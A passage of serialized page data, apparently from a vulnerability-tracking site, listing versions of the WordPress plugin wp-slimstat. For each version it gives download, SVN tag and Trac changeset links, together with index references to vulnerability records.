vss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":476,"download_url":4243,"svn_tag_url":4244,"released_at":39,"has_diff":54,"diff_files_changed":4245,"diff_lines":39,"trac_diff_url":4246,"vulnerabilities":4247,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.7&new_path=%2Fwp-slimstat%2Ftags%2F4.3",[4248,4249,4250,4251,4252,4253,4254,4255,4256,4257,4258,4259,4260,4261,4262,4263,4264,4265,4266,4267],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4269,"download_url":4270,"svn_tag_url":4271,"released_at":39,"has_diff":54,"diff_files_changed":4272,"diff_lines":39,"trac_diff_url":4273,"vulnerabilities":4274,"is_current":54},"4.2.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.6&new_path=%2Fwp-slimstat%2Ftags%2F4.2.7",[4275,4276,4277,4278,4279,4280,4281,4282,4283,4284,4285,4286,4287,4288,4289,4290,4291,4292,4293,4294],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4296,"download_url":4297,"svn_tag_url":4298,"released_at":39,"has_diff":54,"diff_files_changed":4299,"diff_lines":39,"trac_diff_url":4300,"vulnerabilities":4301,"is_current":54},"4.2.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.5&new_path=%2Fwp-slimstat%2Ftags%2F4.2.6",[4302,4303,4304,4305,4306,4307,4308,4309,4310,4311,4312,4313,4314,4315,4316,4317,4318,4319,4320,4321],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4323,"download_url":4324,"svn_tag_url":4325,"released_at":39,"has_diff":54,"diff_files_changed":4326,"diff_lines":39,"trac_diff_url":4327,"vulnerabilities":4328,"is_current":54},"4.2.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.4&new_path=%2Fwp-slimstat%2Ftags%2F4.2.5",[4329,4330,4331,4332,4333,4334,4335,4336,4337,4338,4339,4340,4341,4342,4343,4344,4345,4346,4347,4348],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4350,"download_url":4351,"svn_tag_url":4352,"released_at":39,"has_diff":54,"diff_files_changed":4353,"diff_lines":39,"trac_diff_url":4354,"vulnerabilities":4355,"is_current":54},"4.2.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.3&new_path=%2Fwp-slimstat%2Ftags%2F4.2.4",[4356,4357,4358,4359,4360,4361,4362,4363,4364,4365,4366,4367,4368,4369,4370,4371,4372,4373,4374,4375],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4377,"download_url":4378,"svn_tag_url":4379,"released_at":39,"has_diff":54,"diff_files_changed":4380,"diff_lines":39,"trac_diff_url":4381,"vulnerabilities":4382,"is_current":54},"4.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.2&new_path=%2Fwp-slimstat%2Ftags%2F4.2.3",[4383,4384,4385,4386,4387,4388,4389,4390,4391,4392,4393,4394,4395,4396,4397,4398,4399,4400,4401,4402],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4404,"download_url":4405,"svn_tag_url":4406,"released_at":39,"has_diff":54,"diff_files_changed":4407,"diff_lines":39,"trac_diff_url":4408,"vulnerabilities":4409,"is_current":54},"4.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.1&new_path=%2Fwp-slimstat%2Ftags%2F4.2.2",[4410,4411,4412,4413,4414,4415,4416,4417,4418,4419,4420,4421,4422,4423,4424,4425,4426,4427,4428,4429],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":466,"download_url":4431,"svn_tag_url":4432,"released_at":39,"has_diff":54,"diff_files_changed":4433,"diff_lines":39,"trac_diff_url":4434,"vulnerabilities":4435,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2.0.1&new_path=%2Fwp-slimstat%2Ftags%2F4.2.1",[4436,4437,4438,4439,4440,4441,4442,4443,4444,4445,4446,4447,4448,4449,4450,4451,4452,4453,4454,4455],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4457,"download_url":4458,"svn_tag_url":4459,"released_at":39,"has_diff":54,"diff_files_changed":4460,"diff_lines":39,"trac_diff_url":4461,"vulnerabilities":4462,"is_current":54},"4.2.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.2&new_path=%2Fwp-slimstat%2Ftags%2F4.2.0.1",[4463,4464,4465,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476,4477,4478,4479,4480,4481,4482],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4484,"download_url":4485,"svn_tag_url":4486,"released_at":39,"has_diff":54,"diff_files_changed":4487,"diff_lines":39,"trac_diff_url":4488,"vulnerabilities":4489,"is_current":54},"4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.8.1&new_path=%2Fwp-slimstat%2Ftags%2F4.2",[4490,4491,4492,4493,4494,4495,4496,4497,4498,4499,4500,4501,4502,4503,4504,4505,4506,4507,4508,4509],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4511,"download_url":4512,"svn_tag_url":4513,"released_at":39,"has_diff":54,"diff_files_changed":4514,"diff_lines":39,"trac_diff_url":4515,"vulnerabilities":4516,"is_current":54},"4.1.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.1.8.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.1.8.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.1.8&new_path=%2Fwp-slimstat%2Ftags%2F4.1.8.1",[4517,4518,4519,4520,4521,4522,4523,4524,4525,4526,4527,4528,4529,4530,4531,4532,4533,4534,4535,4536],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":2